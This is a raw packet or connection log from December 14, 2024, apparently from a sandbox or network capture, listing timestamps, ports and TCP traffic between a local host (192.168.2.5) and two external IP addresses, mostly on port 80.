Dec 14, 2024 14:56:32.920783997 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.920792103 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.921885967 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.921953917 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.921962976 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.923027039 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.923089981 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.923181057 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.924196959 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.924268961 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.924292088 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.925380945 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.925451994 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.925457001 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.926626921 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.926698923 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.926739931 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.927829027 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.927890062 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.927931070 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.927988052 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.928972006 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.929143906 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.929214001 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.930126905 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.930315018 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.930381060 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.931293011 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.931400061 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.932487011 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.932549000 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.932584047 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.933749914 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.933778048 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.933805943 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.933823109 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.934840918 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.934972048 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.936028004 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.936078072 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.936136961 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.936717987 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.937230110 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.937318087 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.937422037 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.938391924 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.938496113 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.938553095 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.939588070 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.939661980 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.939786911 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.940773964 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.940876961 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.941000938 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.941973925 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.942054033 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.942236900 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.943130016 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.943149090 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.943217039 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.944320917 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.944437981 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.945528984 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.945590973 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.945662022 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.946036100 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.946691036 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.946741104 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.946804047 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.947875023 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.947936058 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.948060989 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.949028969 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.949115992 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.949371099 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.950206041 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.950270891 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.950331926 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.951389074 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.951500893 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.951550961 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.952567101 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.952682018 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.952789068 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.953757048 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.953931093 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.953977108 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.954929113 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.955008030 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.955061913 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:32.956135035 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.979464054 CET	1912	49870	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:32.979510069 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.979660034 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.979666948 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.979715109 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.980112076 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.980151892 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.980258942 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.980333090 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.981200933 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.981271982 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.981316090 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.981638908 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.982274055 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.982428074 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.982629061 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.982678890 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.982686996 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.982731104 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.983773947 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.983814955 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.983901024 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.983942032 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.984857082 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.984910011 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.984915018 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.984955072 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.985981941 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.986042976 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.986202955 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.986283064 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.987106085 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.987159014 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.987206936 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.987404108 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.988310099 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.988358021 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.988384008 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.988418102 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.989322901 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.989377022 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.989387989 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.989423037 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.990436077 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.990473986 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.990578890 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.990629911 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.991585016 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.991657972 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.991703033 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.992666006 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.992712021 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.992738962 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.992774963 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.993776083 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.993813992 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.993890047 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.993932009 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.994909048 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.994950056 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.995003939 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.995040894 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.996016026 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.996053934 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.996125937 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.996162891 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.997143984 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.997193098 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.997234106 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.997275114 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.998233080 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.998282909 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.998296976 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.998328924 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.999358892 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.999411106 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:32.999478102 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:32.999516964 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.000451088 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.000499964 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.000574112 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.000617981 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.000952959 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.001574039 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.001698971 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.001745939 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.002676010 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.002728939 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.002764940 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.002801895 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.003798962 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.003855944 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.003914118 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.003951073 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.004918098 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.004971981 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.004972935 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.005028963 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.006066084 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.006103992 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.006148100 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.006182909 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.007179976 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.007245064 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.007318974 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.008259058 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.008364916 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.008373976 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.008413076 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.009399891 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.009438038 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.009495974 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.009531975 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.010502100 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.010538101 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.010612011 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.010931969 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.011605978 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.011661053 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.011688948 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.011794090 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.018464088 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.018474102 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.018507004 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.018531084 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.019068003 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.019112110 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.019217968 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.019293070 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.020009041 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.020060062 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.020139933 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.020216942 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.021130085 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.021184921 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.021250963 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.021286964 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.022281885 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.022336006 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.022358894 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.022396088 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.023427010 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.023474932 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.023514986 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.023586988 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.024476051 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.024491072 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.024523973 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.024540901 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.025631905 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.025667906 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.025698900 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.025836945 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.026683092 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.026726007 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.026792049 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.026829004 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.027821064 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.027887106 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.027947903 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.028120995 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.028904915 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.028956890 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.028986931 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.029077053 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.030049086 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.030131102 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.030159950 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.030159950 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.031157970 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.031330109 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.031522036 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.032262087 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.032330990 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.032361984 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.032397985 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.033401012 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.033447027 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.033512115 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.033610106 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.034576893 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.034593105 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.034624100 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.034640074 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.035604954 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.035649061 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.035726070 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.035765886 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.036725998 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.036762953 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.036849022 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.036890984 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.037826061 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.037898064 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.037960052 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.037997007 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.038955927 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.039020061 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.039051056 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.039088964 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.040067911 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.040209055 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.040256977 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.041193008 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.041301012 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.041342020 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.042270899 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.042314053 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.042402029 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.042440891 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.043349981 CET	80	49876	31.41.244.11	192.168.2.5
Dec 14, 2024 14:56:33.043412924 CET	49876	80	192.168.2.5	31.41.244.11
Dec 14, 2024 14:56:33.085974932 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.086055040 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.086118937 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.086461067 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.086755037 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.086811066 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.086815119 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.087919950 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.087970972 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.088010073 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.089092016 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.089138031 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.089184046 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.090267897 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.090361118 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.090421915 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.091512918 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.091562033 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.091643095 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.092657089 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.092716932 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.092753887 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.093826056 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.093919039 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.094715118 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.095005989 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.095047951 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.095103979 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.096177101 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.096237898 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.096322060 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.097366095 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.097476959 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.097477913 CET	49888	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:33.098535061 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.098651886 CET	80	49888	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:33.098741055 CET	49888	80	192.168.2.5	185.81.68.147
